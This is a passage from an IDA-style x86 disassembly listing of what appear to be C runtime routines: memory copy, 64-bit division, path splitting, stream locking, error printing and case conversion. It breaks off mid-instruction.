mov [esi+4], eax loc_42BA14: ; CODE XREF: sub_42B9D1+2Ej ; sub_42B9D1+3Bj mov eax, esi pop edi pop esi retn 4 sub_42B9D1 endp ; =============== S U B R O U T I N E ======================================= sub_42BA1B proc near ; CODE XREF: sub_41B2D9+2Bp ; sub_41B38A+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_43749C jz short locret_42BA30 push dword ptr [ecx+4] call sub_4290D0 pop ecx locret_42BA30: ; CODE XREF: sub_42BA1B+Aj retn sub_42BA1B endp ; =============== S U B R O U T I N E ======================================= sub_42BA31 proc near ; DATA XREF: .text:004374A0o mov eax, [ecx+4] test eax, eax jnz short locret_42BA3D mov eax, offset aUnknownExcepti ; "Unknown exception" locret_42BA3D: ; CODE XREF: sub_42BA31+5j retn sub_42BA31 endp ; =============== S U B R O U T I N E ======================================= sub_42BA3E proc near ; CODE XREF: .text:0042BA6Ap push esi mov esi, ecx push 1Bh mov dword ptr [esi], offset off_4374BC call sub_42DAEF mov esi, [esi+4] pop ecx test esi, esi jz short loc_42BA5D push esi call sub_4298F2 pop ecx loc_42BA5D: ; CODE XREF: sub_42BA3E+16j push 1Bh call sub_42DB50 pop ecx pop esi retn sub_42BA3E endp ; --------------------------------------------------------------------------- loc_42BA67: ; DATA XREF: .text:off_4374BCo push esi mov esi, ecx call sub_42BA3E test byte ptr [esp+8], 1 jz short loc_42BA7D push esi call sub_4290D0 pop ecx loc_42BA7D: ; CODE XREF: .text:0042BA74j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BA90 proc near ; CODE XREF: sub_41B55A+3Ap ; sub_42C925+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_42BAB0 cmp edi, eax jb loc_42BC28 loc_42BAB0: ; CODE XREF: sub_42BA90+16j test edi, 3 jnz short loc_42BACC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_42BAEC rep movsd jmp off_42BBD8[edx*4] ; --------------------------------------------------------------------------- loc_42BACC: ; CODE XREF: sub_42BA90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_42BAE4 and eax, 3 add ecx, eax jmp dword ptr loc_42BAEC+4[eax*4] ; --------------------------------------------------------------------------- loc_42BAE4: ; CODE XREF: sub_42BA90+46j jmp dword ptr loc_42BBE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_42BAEC: ; CODE XREF: sub_42BA90+31j ; sub_42BA90+8Ej ... jmp off_42BB6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_42BAFD+3 dd offset loc_42BB2C ; --------------------------------------------------------------------------- push eax loc_42BAFD: ; DATA XREF: sub_42BA90+64o mov ebx, 0D1230042h mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_42BAEC rep movsd jmp off_42BBD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_42BB2C: ; DATA XREF: sub_42BA90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_42BAEC rep movsd jmp off_42BBD8[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_42BAEC rep movsd jmp off_42BBD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_42BB6C dd offset loc_42BBCF ; DATA XREF: sub_42BA90:loc_42BAECr dd offset loc_42BBBC dd offset loc_42BBB4 dd offset loc_42BBAC dd offset loc_42BBA4 dd offset loc_42BB9C dd offset loc_42BB94 dd offset loc_42BB8C ; --------------------------------------------------------------------------- loc_42BB8C: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_42BB94: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_42BB9C: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_42BBA4: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_42BBAC: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_42BBB4: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_42BBBC: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_42BBCF: ; CODE XREF: sub_42BA90:loc_42BAECj ; DATA XREF: sub_42BA90:off_42BB6Co jmp off_42BBD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_42BBD8 dd offset loc_42BBE8 ; DATA XREF: sub_42BA90+35r ; sub_42BA90+92r ... dd offset loc_42BBF0 dd offset loc_42BBFC dd offset loc_42BC10 ; --------------------------------------------------------------------------- loc_42BBE8: ; CODE XREF: sub_42BA90+35j ; sub_42BA90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_42BBF0: ; CODE XREF: sub_42BA90+35j ; sub_42BA90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42BBFC: ; CODE XREF: sub_42BA90+35j ; sub_42BA90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_42BC10: ; CODE XREF: sub_42BA90+35j ; sub_42BA90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42BC28: ; CODE XREF: sub_42BA90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_42BC5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_42BC50 std rep movsd cld jmp off_42BD70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_42BC50: ; CODE XREF: sub_42BA90+1B1j ; sub_42BA90+208j ... neg ecx jmp off_42BD20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_42BC5C: ; CODE XREF: sub_42BA90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_42BC74 and eax, 3 sub ecx, eax jmp dword ptr loc_42BC74+4[eax*4] ; --------------------------------------------------------------------------- loc_42BC74: ; CODE XREF: sub_42BA90+1D6j ; DATA XREF: sub_42BA90+1DDr jmp off_42BD70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_42BC84+4 dd offset loc_42BCA8 ; --------------------------------------------------------------------------- loc_42BC84: ; DATA XREF: sub_42BA90+1ECo sar byte ptr [edx+eax*2+3468A00h], 1 and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_42BC50 std rep movsd cld jmp off_42BD70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_42BCA8: ; DATA XREF: sub_42BA90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_42BC50 std rep movsd cld jmp off_42BD70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_42BC50 std rep movsd cld jmp off_42BD70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_42BD24 dd offset loc_42BD2C dd offset loc_42BD34 dd offset loc_42BD3C dd offset loc_42BD44 dd offset loc_42BD4C dd offset loc_42BD54 off_42BD20 dd offset loc_42BD67 ; DATA XREF: sub_42BA90+1C2r ; --------------------------------------------------------------------------- loc_42BD24: ; DATA XREF: sub_42BA90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_42BD2C: ; DATA XREF: sub_42BA90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_42BD34: ; DATA XREF: sub_42BA90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_42BD3C: ; DATA XREF: sub_42BA90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_42BD44: ; DATA XREF: sub_42BA90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_42BD4C: ; DATA XREF: sub_42BA90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_42BD54: ; DATA XREF: sub_42BA90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_42BD67: ; CODE XREF: sub_42BA90+1C2j ; DATA XREF: sub_42BA90:off_42BD20o jmp off_42BD70[edx*4] ; --------------------------------------------------------------------------- align 10h off_42BD70 dd offset loc_42BD80 ; DATA XREF: sub_42BA90+1B7r ; sub_42BA90:loc_42BC74r ... dd offset loc_42BD88 dd offset loc_42BD98 dd offset loc_42BDAC ; --------------------------------------------------------------------------- loc_42BD80: ; CODE XREF: sub_42BA90+1B7j ; sub_42BA90:loc_42BC74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42BD88: ; CODE XREF: sub_42BA90+1B7j ; sub_42BA90:loc_42BC74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42BD98: ; CODE XREF: sub_42BA90+1B7j ; sub_42BA90:loc_42BC74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42BDAC: ; CODE XREF: sub_42BA90+1B7j ; sub_42BA90:loc_42BC74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_42BA90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42BDD0 proc near ; CODE XREF: sub_41BD4B+3Dp ; sub_427E4F+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_42BDF1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_42BE41 ; --------------------------------------------------------------------------- loc_42BDF1: ; CODE XREF: sub_42BDD0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_42BDFF: ; CODE XREF: sub_42BDD0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_42BDFF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_42BE2A cmp edx, [esp+4+arg_4] ja short loc_42BE2A jb short loc_42BE32 cmp eax, [esp+4+arg_0] jbe short loc_42BE32 loc_42BE2A: ; CODE XREF: sub_42BDD0+4Aj ; sub_42BDD0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_42BE32: ; CODE XREF: sub_42BDD0+52j ; sub_42BDD0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_42BE41: ; CODE XREF: sub_42BDD0+1Fj pop ebx retn 10h sub_42BDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42BE50 proc near ; CODE XREF: sub_41BD4B+24p ; sub_427E4F+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_42BE72 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_42BEB3 ; --------------------------------------------------------------------------- loc_42BE72: ; CODE XREF: sub_42BE50+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_42BE80: ; CODE XREF: sub_42BE50+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_42BE80 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_42BEAE cmp edx, [esp+8+arg_4] ja short loc_42BEAE jb short loc_42BEAF cmp eax, [esp+8+arg_0] jbe short loc_42BEAF loc_42BEAE: ; CODE XREF: sub_42BE50+4Ej ; sub_42BE50+54j dec esi loc_42BEAF: ; CODE XREF: sub_42BE50+56j ; sub_42BE50+5Cj xor edx, edx mov eax, esi loc_42BEB3: ; CODE XREF: sub_42BE50+20j pop esi pop ebx retn 10h sub_42BE50 endp ; =============== S U B R O U T I N E ======================================= sub_42BEB8 proc near ; CODE XREF: sub_41EC9D+14Cp ; sub_41EC9D+15Ep arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, offset dword_450EE0 push edi push esi push 1 call sub_42C203 push esi call sub_432104 mov edi, eax lea eax, [esp+18h+arg_4] push eax push [esp+1Ch+arg_0] push esi call sub_42DC7D push esi push edi mov ebx, eax call sub_432191 push esi push 1 call sub_42C255 add esp, 28h mov eax, ebx pop edi pop esi pop ebx retn sub_42BEB8 endp ; =============== S U B R O U T I N E ======================================= sub_42BEF9 proc near ; CODE XREF: sub_41EC9D+12Bp arg_0 = dword ptr 4 push esi push edi push 2 pop edi push edi call sub_43241B mov esi, [esp+0Ch+arg_0] pop ecx test esi, esi jz short loc_42BF2F cmp byte ptr [esi], 0 jz short loc_42BF2F push esi call sub_4293A0 push eax push esi push edi call sub_432501 push edi push offset asc_450388 ; ": " push edi call sub_432501 add esp, 1Ch loc_42BF2F: ; CODE XREF: sub_42BEF9+12j ; sub_42BEF9+17j call sub_42F119 cmp dword ptr [eax], 0 jl short loc_42BF51 call sub_42F119 mov eax, [eax] cmp eax, dword_453994 jge short loc_42BF51 call sub_42F119 mov eax, [eax] jmp short loc_42BF56 ; --------------------------------------------------------------------------- loc_42BF51: ; CODE XREF: sub_42BEF9+3Ej ; sub_42BEF9+4Dj mov eax, dword_453994 loc_42BF56: ; CODE XREF: sub_42BEF9+56j mov esi, off_4538E4[eax*4] push esi call sub_4293A0 push eax push esi push edi call sub_432501 push 1 push offset asc_440D90 ; "\n" push edi call sub_432501 push edi call sub_43247A add esp, 20h pop edi pop esi retn sub_42BEF9 endp ; =============== S U B R O U T I N E ======================================= sub_42BF84 proc near ; CODE XREF: sub_42BF90j push offset off_450EC0 call sub_4326BD pop ecx retn sub_42BF84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42BF90 proc near ; CODE XREF: sub_41F0F5+3B6p jmp sub_42BF84 sub_42BF90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BF95 proc near ; CODE XREF: sub_41F876+2F1p ; sub_41FC58+154p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_4293A0 cmp eax, 1 pop ecx jb short loc_42BFD0 cmp byte ptr [ebx+1], 3Ah jnz short loc_42BFD0 mov esi, [ebp+arg_4] test esi, esi jz short loc_42BFCC push 2 push ebx push esi call sub_432ABC add esp, 0Ch and byte ptr [esi+2], 0 loc_42BFCC: ; CODE XREF: sub_42BF95+25j inc ebx inc ebx jmp short loc_42BFDA ; --------------------------------------------------------------------------- loc_42BFD0: ; CODE XREF: sub_42BF95+18j ; sub_42BF95+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_42BFDA and byte ptr [eax], 0 loc_42BFDA: ; CODE XREF: sub_42BF95+39j ; sub_42BF95+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_42C052 loc_42BFED: ; CODE XREF: sub_42BF95+87j mov cl, [eax] movzx edx, cl test byte_676DC1[edx], 4 jz short loc_42BFFE inc eax jmp short loc_42C018 ; --------------------------------------------------------------------------- loc_42BFFE: ; CODE XREF: sub_42BF95+64j cmp cl, 2Fh jz short loc_42C012 cmp cl, 5Ch jz short loc_42C012 cmp cl, 2Eh jnz short loc_42C018 mov [ebp+var_4], eax jmp short loc_42C018 ; --------------------------------------------------------------------------- loc_42C012: ; CODE XREF: sub_42BF95+6Cj ; sub_42BF95+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_42C018: ; CODE XREF: sub_42BF95+67j ; sub_42BF95+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_42BFED mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_42C052 cmp [ebp+arg_8], 0 jz short loc_42C04D sub edi, ebx cmp edi, esi jb short loc_42C036 mov edi, esi loc_42C036: ; CODE XREF: sub_42BF95+9Dj push edi push ebx push [ebp+arg_8] call sub_432ABC mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_42C04D: ; CODE XREF: sub_42BF95+97j mov ebx, [ebp+arg_4] jmp short loc_42C05C ; --------------------------------------------------------------------------- loc_42C052: ; CODE XREF: sub_42BF95+56j ; sub_42BF95+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_42C05C and byte ptr [ecx], 0 loc_42C05C: ; CODE XREF: sub_42BF95+BBj ; sub_42BF95+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_42C0AF cmp edi, ebx jb short loc_42C0AF cmp [ebp+arg_C], 0 jz short loc_42C08C sub edi, ebx cmp edi, esi jb short loc_42C075 mov edi, esi loc_42C075: ; CODE XREF: sub_42BF95+DCj push edi push ebx push [ebp+arg_C] call sub_432ABC mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_42C08C: ; CODE XREF: sub_42BF95+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_42C0D7 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_42C09C mov esi, eax loc_42C09C: ; CODE XREF: sub_42BF95+103j push esi push [ebp+var_4] push edi call sub_432ABC add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_42C0D7 ; --------------------------------------------------------------------------- loc_42C0AF: ; CODE XREF: sub_42BF95+CCj ; sub_42BF95+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_42C0CD sub eax, ebx cmp eax, esi jnb short loc_42C0BE mov esi, eax loc_42C0BE: ; CODE XREF: sub_42BF95+125j push esi push ebx push edi call sub_432ABC add esp, 0Ch and byte ptr [esi+edi], 0 loc_42C0CD: ; CODE XREF: sub_42BF95+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_42C0D7 and byte ptr [eax], 0 loc_42C0D7: ; CODE XREF: sub_42BF95+FCj ; sub_42BF95+118j ... pop edi pop esi pop ebx leave retn sub_42BF95 endp ; =============== S U B R O U T I N E ======================================= sub_42C0DC proc near ; CODE XREF: sub_41FC58+184p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push ebx push esi mov esi, [esp+8+arg_0] push edi push esi call sub_42C1D4 push esi call sub_432104 mov edi, eax lea eax, [esp+14h+arg_8] push eax push [esp+18h+arg_4] push esi call sub_42DC7D push esi push edi mov ebx, eax call sub_432191 push esi call sub_42C226 add esp, 20h mov eax, ebx pop edi pop esi pop ebx retn sub_42C0DC endp ; =============== S U B R O U T I N E ======================================= sub_42C118 proc near ; DATA XREF: .text:0043A01Co mov eax, dword_678020 push esi push 14h test eax, eax pop esi jnz short loc_42C12C mov eax, 200h jmp short loc_42C132 ; --------------------------------------------------------------------------- loc_42C12C: ; CODE XREF: sub_42C118+Bj cmp eax, esi jge short loc_42C137 mov eax, esi loc_42C132: ; CODE XREF: sub_42C118+12j mov dword_678020, eax loc_42C137: ; CODE XREF: sub_42C118+16j push 4 push eax call sub_42B39A pop ecx mov dword_67700C, eax test eax, eax pop ecx jnz short loc_42C16B push 4 push esi mov dword_678020, esi call sub_42B39A pop ecx mov dword_67700C, eax test eax, eax pop ecx jnz short loc_42C16B push 1Ah call sub_42C67C pop ecx loc_42C16B: ; CODE XREF: sub_42C118+30j ; sub_42C118+49j xor ecx, ecx mov eax, offset off_450EC0 loc_42C172: ; CODE XREF: sub_42C118+6Ej mov edx, dword_67700C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset off_451140 jl short loc_42C172 xor ecx, ecx mov edx, offset dword_450ED0 loc_42C18F: ; CODE XREF: sub_42C118+A4j mov esi, ecx mov eax, ecx sar esi, 5 and eax, 1Fh mov esi, dword_676EE0[esi*4] lea eax, [eax+eax*8] mov eax, [esi+eax*4] cmp eax, 0FFFFFFFFh jz short loc_42C1AF test eax, eax jnz short loc_42C1B2 loc_42C1AF: ; CODE XREF: sub_42C118+91j or dword ptr [edx], 0FFFFFFFFh loc_42C1B2: ; CODE XREF: sub_42C118+95j add edx, 20h inc ecx cmp edx, offset dword_450F30 jl short loc_42C18F pop esi retn sub_42C118 endp ; =============== S U B R O U T I N E ======================================= sub_42C1C0 proc near ; DATA XREF: .text:0043A030o call sub_42F335 cmp byte_676A04, 0 jz short locret_42C1D3 jmp sub_432B56 ; --------------------------------------------------------------------------- locret_42C1D3: ; CODE XREF: sub_42C1C0+Cj retn sub_42C1C0 endp ; =============== S U B R O U T I N E ======================================= sub_42C1D4 proc near ; CODE XREF: sub_42A10B+16p ; sub_42A188+7p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_450EC0 cmp eax, ecx jb short loc_42C1F8 cmp eax, offset dword_451120 ja short loc_42C1F8 sub eax, ecx sar eax, 5 add eax, 1Ch push eax call sub_42DAEF pop ecx retn ; --------------------------------------------------------------------------- loc_42C1F8: ; CODE XREF: sub_42C1D4+Bj ; sub_42C1D4+12j add eax, 20h push eax call dword_4370CC ; RtlEnterCriticalSection retn sub_42C1D4 endp ; =============== S U B R O U T I N E ======================================= sub_42C203 proc near ; CODE XREF: sub_42BEB8+Bp ; sub_42F33E+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_42C217 add eax, 1Ch push eax call sub_42DAEF pop ecx retn ; --------------------------------------------------------------------------- loc_42C217: ; CODE XREF: sub_42C203+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_4370CC ; RtlEnterCriticalSection retn sub_42C203 endp ; =============== S U B R O U T I N E ======================================= sub_42C226 proc near ; CODE XREF: sub_42A10B+24p ; sub_42A188+22p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_450EC0 cmp eax, ecx jb short loc_42C24A cmp eax, offset dword_451120 ja short loc_42C24A sub eax, ecx sar eax, 5 add eax, 1Ch push eax call sub_42DB50 pop ecx retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C226+Bj ; sub_42C226+12j add eax, 20h push eax call dword_437164 ; RtlLeaveCriticalSection retn sub_42C226 endp ; =============== S U B R O U T I N E ======================================= sub_42C255 proc near ; CODE XREF: sub_42BEB8+33p ; sub_42F33E+7Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_42C269 add eax, 1Ch push eax call sub_42DB50 pop ecx retn ; --------------------------------------------------------------------------- loc_42C269: ; CODE XREF: sub_42C255+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_437164 ; RtlLeaveCriticalSection retn sub_42C255 endp ; =============== S U B R O U T I N E ======================================= sub_42C278 proc near ; CODE XREF: sub_41FE3F+15Dp ; sub_429E59+12Bp arg_0 = dword ptr 4 push ebx xor ebx, ebx cmp dword_6769A8, ebx jnz short loc_42C296 mov eax, [esp+4+arg_0] cmp eax, 61h jl short loc_42C2E5 cmp eax, 7Ah jg short loc_42C2E5 sub eax, 20h pop ebx retn ; --------------------------------------------------------------------------- loc_42C296: ; CODE XREF: sub_42C278+9j push esi mov esi, offset dword_676EDC push edi push esi call dword_437224 ; InterlockedIncrement cmp dword_676ED8, ebx mov edi, dword_437220 jz short loc_42C2C0 push esi call edi ; dword_437220 push 13h call sub_42DAEF pop ecx push 1 pop ebx loc_42C2C0: ; CODE XREF: sub_42C278+38j push [esp+0Ch+arg_0] call sub_42C2E7 test ebx, ebx pop ecx mov [esp+0Ch+arg_0], eax jz short loc_42C2DC push 13h call sub_42DB50 pop ecx jmp short loc_42C2DF ; --------------------------------------------------------------------------- loc_42C2DC: ; CODE XREF: sub_42C278+58j push esi call edi ; dword_437220 loc_42C2DF: ; CODE XREF: sub_42C278+62j mov eax, [esp+0Ch+arg_0] pop edi pop esi loc_42C2E5: ; CODE XREF: sub_42C278+12j ; sub_42C278+17j pop ebx retn sub_42C278 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C2E7 proc near ; CODE XREF: sub_42C278+4Cp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_6769A8, 0 push ebx jnz short loc_42C312 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_42C3B0 cmp eax, 7Ah jg loc_42C3B0 sub eax, 20h jmp loc_42C3B0 ; --------------------------------------------------------------------------- loc_42C312: ; CODE XREF: sub_42C2E7+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_42C345 cmp dword_4535C4, 1 jle short loc_42C332 push 2 push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42C33D ; --------------------------------------------------------------------------- loc_42C332: ; CODE XREF: sub_42C2E7+3Dj mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 2 loc_42C33D: ; CODE XREF: sub_42C2E7+49j test eax, eax jnz short loc_42C345 loc_42C341: ; CODE XREF: sub_42C2E7+AFj mov eax, ebx jmp short loc_42C3B0 ; --------------------------------------------------------------------------- loc_42C345: ; CODE XREF: sub_42C2E7+34j ; sub_42C2E7+58j mov edx, off_4533B8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_42C368 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42C371 ; --------------------------------------------------------------------------- loc_42C368: ; CODE XREF: sub_42C2E7+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42C371: ; CODE XREF: sub_42C2E7+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_6769A8 call sub_430D9F add esp, 20h test eax, eax jz short loc_42C341 cmp eax, 1 jnz short loc_42C3A3 movzx eax, [ebp+var_4] jmp short loc_42C3B0 ; --------------------------------------------------------------------------- loc_42C3A3: ; CODE XREF: sub_42C2E7+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_42C3B0: ; CODE XREF: sub_42C2E7+14j ; sub_42C2E7+1Dj ... pop ebx leave retn sub_42C2E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3B3 proc near ; CODE XREF: sub_42045F+536p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push [ebp+arg_C] call sub_42C1D4 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42C3E2 push [ebp+arg_C] mov esi, eax call sub_42C226 add esp, 18h mov eax, esi pop esi pop ebp retn sub_42C3B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3E2 proc near ; CODE XREF: sub_42C3B3+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, 